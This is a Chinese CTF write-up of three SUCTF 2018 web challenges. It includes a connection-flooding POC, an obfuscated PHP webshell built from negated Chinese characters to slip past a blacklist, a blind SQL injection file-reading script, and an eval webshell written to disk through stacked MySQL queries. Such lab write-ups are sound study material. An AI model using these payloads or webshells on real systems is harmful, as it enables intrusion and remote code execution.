SUCTF-WEB

比赛时没时间做,官方赛后给出了writeup和docker镜像,好评。

1
2
3
4
5
suctf/2018-web-multi_sql
suctf/2018-web-homework
suctf/2018-web-hateit
suctf/2018-web-getshell
suctf/2018-web-annonymous

环境部署

docker还是很方便,一键部署,示例annonymous

1
2
docker pull suctf/2018-web-annonymous
docker run -d -p 6666:80 suctf/2018-web-annonymous

WEB

annonymous

php审计题,源码很短

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

首先使用了create_function函数创建了一个打印flag的函数并赋值给$MY
然后又随机命名了了一个执行$My的函数,那么我们有两个方法去打印flag
1.执行SUCTF_$hash()
2.执行$MY()
方法一中 openssl_random_pseudo_bytes(32)预测显然不可能
只能尝试爆破create_function()产生的函数名。本地测试打印$MY,发现函数名为%00lambda_1,且每访问一次+1。
如果%00lambda_x不是很大。我们可以不停访问一个很大的值n,让x增长到n即可。
如果已经x很大,那么这个办法就不行了,就需要让apache开启新的进程使得x从一开始。
用上现成POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# coding: UTF-8
# Author: orange@chroot.org
#

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = '127.0.0.1'
PORT = 12344
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET / HTTP/1.1\nHost: 127.0.0.1\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

修改HOST和端口,然后运行脚本,apache会不断kill掉旧进程fork新进程,访问%00lambda_1得到flag

getshell

绕过waf上传文件getshell,列出后台的waf

1
2
3
$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', 
'*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q',
'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', '|', '+' , '{' , '}',"'");

做法:
~(X) 当X为一个汉字时对这个汉字取反第二位可以得到得到一个英文字符,我们利用这个性质构造webshell。
eval是一种语言结构而不是函数,所以不能使用变量函数来调用它.这里可以使用asser代替。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$______=_;
$_=~(瞰);
$__=$_[$_==$_];
$_=~(范);
$__=$__.$_[$_==$_];
$_=~(范);
$__=$__.$_[$_==$_];
$_=~(皮);
$__=$__.$_[$_==$_];
$_=~(半);
$__=$__.$_[$_==$_];
$_=~(拉);
$__=$__.$_[$_==$_];
$_=~(为);
$___=$_[$_==$_];
$_=~(了);
$___=$___.$_[$_==$_];
$_=~(高);
$___=$___.$_[$_==$_];
$___=$______.$___;
$_=$$___;//$_=Array
$__($_[_])//$__=assert

密码是_
执行命令system(%27cat%20./../../../../Th1s_14_f14g%27)拿到flag

MultiSql

注册进去后在用户信息中找到注入点,进行盲注

1
http://104.131.107.84:8588/user/user.php?id=2-(mid(user(),1,1)>binary(0x2a))

过滤了select等东西,又提示flag不再数据库中,尝试读文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
code=''
cookie={
'PHPSESSID':'6tq2gt2c31o1reeq4j962sodt6'
}
for i in range(1,10000):
for j in range(32,255):
url='http://104.131.107.84:8588/user/user.php?id=2-(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),%d,1)=binary(%s))'%(i,hex(j))
r=requests.get(url=url,cookies=cookie)
if 'admin' in r.content:
code+=hex(j)[2:]
print code
break

将文件以16进制打印出来,然后转换成文本。
发现user.php是使用mysqli_multi_query进行查询的.
mysqli_multi_query:执行多个针对数据库的查询
所以这里应该就是写shell的地方。
为了绕过select和单引号,我们使用MYSQL预处理语句:

1
2
3
set @sql = concat('create table ',newT,' like ',old);
prepare s1 from @sql;
execute s1;

1
select"<?php @eval($_POST['a']);?>" into outfile '/var/www/html/favicon/altman.php';

进行编码
贴上一个编码脚本

1
2
3
4
5
b=''
a='''select "<?php @eval($_POST['a']);?>" into outfile '/var/www/html/favicon/altman.php';'''
for i in range(0,len(a)):
b+='CHAR('+str(ord(a[i]))+'),'
print b

然后写入

执行命令拿到flag